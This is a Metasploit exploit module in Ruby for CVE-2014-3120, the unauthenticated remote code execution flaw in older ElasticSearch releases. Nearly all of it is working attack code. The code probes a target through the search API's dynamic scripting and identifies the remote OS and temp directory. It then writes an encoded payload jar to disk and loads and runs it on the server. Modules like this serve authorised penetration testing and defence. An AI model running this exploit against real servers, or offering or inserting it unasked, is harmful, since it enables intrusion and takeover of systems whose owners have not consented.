##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution',
        'Description' => %q{
          This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
          exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the
          REST API, which does not require authentication, where the search
          function allows dynamic scripts execution. It can be used for remote attackers
          to execute arbitrary Java code. This module has been tested successfully on
          ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3.
        },
        'Author' => [
          'Alex Brasetvik', # Vulnerability discovery
          'Bouke van der Bijl', # Vulnerability discovery and PoC
          'juan vazquez'        # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2014-3120'],
          ['OSVDB', '106949'],
          ['EDB', '33370'],
          ['URL', 'http://bouk.co/blog/elasticsearch-rce/'],
          ['URL', 'https://www.found.no/foundation/elasticsearch-security/#staying-safe-while-developing-with-elasticsearch']
        ],
        'Platform' => 'java',
        'Arch' => ARCH_JAVA,
        'Targets' => [
          [ 'ElasticSearch 1.1.1 / Automatic', {} ]
        ],
        'DisclosureDate' => '2013-12-09',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(9200),
        OptString.new('TARGETURI', [ true, 'The path to the ElasticSearch REST API', "/"]),
        OptString.new("WritableDir", [ true, "A directory where we can write files (only for *nix environments)", "/tmp" ])
      ]
    )
  end

  def check
    result = Exploit::CheckCode::Safe('Elasticsearch does not appear to be vulnerable')

    if vulnerable?
      result = Exploit::CheckCode::Vulnerable('Arbitrary Java execution confirmed via MVEL scripting')
    end

    result
  end

  def exploit
    print_status("Trying to execute arbitrary Java...")
    unless vulnerable?
      fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
    end

    print_status("Discovering remote OS...")
    res = execute(java_os)
    result = parse_result(res)
    if result.nil?
      fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
    else
      # TODO: It'd be nice to report_host() with this info.
      print_good("Remote OS is '#{result}'")
    end

    jar_file = ""
    if result =~ /win/i
      print_status("Discovering TEMP path")
      res = execute(java_tmp_dir)
      result = parse_result(res)
      if result.nil?
        fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
      else
        print_good("TEMP path identified: '#{result}'")
      end
      jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar"
    else
      jar_file = File.join(datastore['WritableDir'], "#{rand_text_alpha(3 + rand(4))}.jar")
    end

    register_file_for_cleanup(jar_file)
    execute(java_payload(jar_file))
  end

  def vulnerable?
    java = 'System.getProperty("java.class.path")'

    vprint_status("Trying to execute 'System.getProperty(\"java.version\")'...")
    res = execute(java)
    result = parse_result(res)

    if result.nil?
      vprint_status("No results for the Java test")
      return false
    elsif result =~ /elasticsearch/
      vprint_status("Answer to Java test: #{result}")
      return true
    else
      vprint_status("Answer to Java test: #{result}")
      return false
    end
  end

  def parse_result(res)
    unless res
      vprint_error("#{peer} no response")
      return nil
    end

    unless res.code == 200 && res.body
      vprint_error("#{peer} responded with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
      return nil
    end

    begin
      json = JSON.parse(res.body.to_s)
    rescue JSON::ParserError
      return nil
    end

    begin
      result = json['hits']['hits'][0]['fields']['msf_result']
    rescue
      return nil
    end

    result.is_a?(::Array) ? result.first : result
  end

  def to_java_byte_array(str)
    buff = "byte[] buf = new byte[#{str.length}];\n"
    i = 0
    str.unpack('C*').each do |c|
      buff << "buf[#{i}] = #{c};\n"
      i = i + 1
    end

    buff
  end

  def java_os
    "System.getProperty(\"os.name\")"
  end

  def java_tmp_dir
    "System.getProperty(\"java.io.tmpdir\");"
  end

  def java_payload(file_name)
    source = <<~EOF
      import java.io.*;
      import java.lang.*;
      import java.net.*;

      #{to_java_byte_array(payload.encoded_jar.pack)}
      File f = new File('#{file_name.gsub(/\\/, "/")}');
      FileOutputStream fs = new FileOutputStream(f);
      bs = new BufferedOutputStream(fs);
      bs.write(buf);
      bs.close();
      bs = null;
      URL u = f.toURI().toURL();
      URLClassLoader cl = new URLClassLoader(new java.net.URL[]{u});
      Class c = cl.loadClass('metasploit.Payload');
      c.main(null);
    EOF

    source
  end

  def execute(java)
    payload = {
      "size" => 1,
      "query" => {
        "filtered" => {
          "query" => {
            "match_all" => {}
          }
        }
      },
      "script_fields" => {
        "msf_result" => {
          "script" => java
        }
      }
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path.to_s, "_search"),
      'method' => 'POST',
      'data' => JSON.generate(payload)
    })

    return res
  end
end
